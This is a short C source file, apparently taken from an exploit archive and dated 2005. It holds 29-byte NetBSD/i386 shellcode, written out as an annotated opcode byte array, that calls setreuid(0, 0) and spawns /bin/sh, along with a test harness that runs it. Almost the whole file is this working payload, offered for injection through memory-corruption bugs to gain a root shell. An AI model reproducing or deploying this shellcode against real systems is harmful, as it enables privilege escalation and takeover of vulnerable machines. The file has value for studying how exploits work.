37 lines
No EOL
1.1 KiB
C
37 lines
No EOL
1.1 KiB
C
/*
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* minervini at neuralnoise dot com (c) 2005
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* NetBSD/i386 2.0, setreuid(0, 0); execve("/bin//sh", ..., NULL);
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* note: unsafe shellcode, but 29 bytes long;
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* doesn't work if (eax & 0x40000000) != 0;
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*/
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#include <sys/types.h>
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#include <stdio.h>
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#include <string.h>
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char scode[] =
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"\x99" // cltd
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"\x52" // push %edx
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"\x52" // push %edx
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"\x52" // push %edx
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"\x6a\x7e" // push $0x7e
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp,%ebx
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"\x52" // push %edx
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"\x54" // push %esp
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"\x53" // push %ebx
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"\x52" // push %edx
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"\x34\x3b" // xor $0x3b,%al
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"\xcd\x80"; // int $0x80
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int main() {
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void (*code) () = (void *) scode;
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printf("length: %d\n", strlen(scode));
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code();
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return (0);
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}
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// milw0rm.com [2005-11-30]
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